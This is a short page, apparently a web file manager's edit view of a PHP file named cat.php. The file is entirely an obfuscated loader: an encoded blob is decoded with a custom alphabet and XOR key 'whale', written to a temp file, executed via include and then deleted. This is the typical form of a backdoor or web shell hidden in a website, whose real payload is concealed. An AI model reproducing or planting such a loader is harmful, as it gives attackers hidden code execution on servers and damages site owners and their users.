JezK
Edit File: cat.php
<?php $encrypted = 'S0klIyYjMTEpRR8cDABbemJdBBEaBF9hb1dIQUxZHw0ACFtLRwkJBBNWbGZFV0hBUAcYDBhSaH1IQUxFV0hBTFkTARdMBhsJEh9YVQwODzcYBxUuCRgLCk5bemJBTEVXSEFMRVdIQUxZSBgJHGh9SEFMRVdIQUxFV0hBTEVXSEUPEAUaBAIRJwkVBEVKSAgfFhIcSUg6MC01N0IHCRUEQipBQVNFUzcmKTEsTxENER9PPExfVw8EGAYADElFXnpiQUxFV0hBTEVXSEFMRVdIQUgVFhoVH0VKSAQUFRsHBQlNMyEzKSYjJzM1OiQtMS03NjwuPklXHBMFCF9MAhkXBQ0PGDUWHAlARTMhMykmIyczNTokLTEtNzY8Lj5MXlNsZkVXSEFMRVdIQUxFV0hBTEV6YkFMRVdIQUxFV0hBTEVXSEFIDAQ_CAIBGB8STFhXGxUeERgdERwABUASGQcEHBNENT84PiM2W0hRQEVEQUhMWEpVQUsyPiZGV2h9SEFMRVdIQUxFV0hBTEVXSEUPEAUaBAIRV1VBSAwEPwgCARgfEkxaV09GTF9XLCg-IDQ8Lj48KDskPCQlKTUjN0xla0xFV0hBTEVXSEFMRVdIQUxofUhBTEVXSEFMRVdIQUxFV0gEDw0YSEZQCxYeX0teemJBTEVXSEFMRVdIQUxFV0hBYW9XSEFMRVdIQUxFV0hBTEVXDg4eABYLCUxNUxgAHhEESAAfRVMYAB4RXkgaYW9XSEFMRVdIQUxFV0hBTEVXSEFMRVMLFB4XEgYVTEtKSElIBgIaEwkLA0hcUVhXT0ZMWldPRkxfVywoPiA0PC4-PCg7JDwkJSk1IzdeSE9MQQcJExheemJBTEVXSEFMRVdIQUxFV0hBTEVXSAQPDRhIRlAEVwsNDRYEVUMIChQ6DgMRIw0ZGEcfGgQKWFVXEQ0RH1VGTEtXHRMAABkLDggAX0wCGRcFDQ8YTFdGQUtHSU9BQkUfHAwAFgcNAgUEGwsJDRcEQEUcBAUcSExLV09dQwRJR0ZXaH1IQUxFV0hBTEVXSEFMRVdIHGFvV0hBTEVXSEFMRVdIQUxFV2VrTEVXSEFMRVdIQUxFV0hBTAAUAA5MQktHDw0TSU9aYW9XSEFMRVdIQUxFV0heUmh9SEFMRVdIQUxZWAwIGlt6YkFMRVdUTg4KExFfYW9LRwkYCBtW'; if (!function_exists('lynx')) { function lynx($data, $key) { $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_'; $bin = ''; for ($i = 0; $i < strlen($data); $i++) { $index = strpos($alphabet, $data[$i]); $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT); } $bytes = ''; for ($i = 0; $i < strlen($bin); $i += 8) { $chunk = substr($bin, $i, 8); if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем $bytes .= chr(bindec($chunk)); } $res = ''; $klen = strlen($key); for ($i = 0; $i < strlen($bytes); $i++) { $res .= $bytes[$i] ^ $key[$i % $klen]; } return $res; } } file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), lynx($encrypted, 'whale')); include $tmp; unlink($tmp); ?>